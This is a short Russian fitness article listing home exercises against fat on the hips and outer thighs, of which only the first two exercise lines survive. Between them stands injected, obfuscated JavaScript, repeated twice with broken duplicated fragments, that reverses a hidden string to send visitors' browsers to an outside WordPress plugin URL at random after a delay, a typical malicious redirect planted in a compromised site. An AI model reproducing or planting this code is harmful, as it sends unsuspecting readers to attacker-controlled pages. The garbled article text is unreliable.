Комплекс основных упражнений от ушек и галифе

7 основных упражнений, помогут избавиться от неприятной деформации нашей фигуры, в домашних условиях.

Так называемые «галифе» или «ушки», формирует жир, который откладывается на бедрах и ягодицах. Не смотря на то, что гены конечно же играют свою роль, можно избавиться от этой неприятности с помощью упражнений и диеты. 7 основных упражнений, помогут избавиться от неприятной деформации нашей фигуры, в домашних условиях.

1. 3 подхода по 15 раз для каждой ноги.$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top-shortyi-iz-dvuh-chastey-snaryazhenie-yoga-odezhdu-trenirovki-1.jpg»>

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top-right»>2. 2 подхода по 15 раз, затем меняем ногу.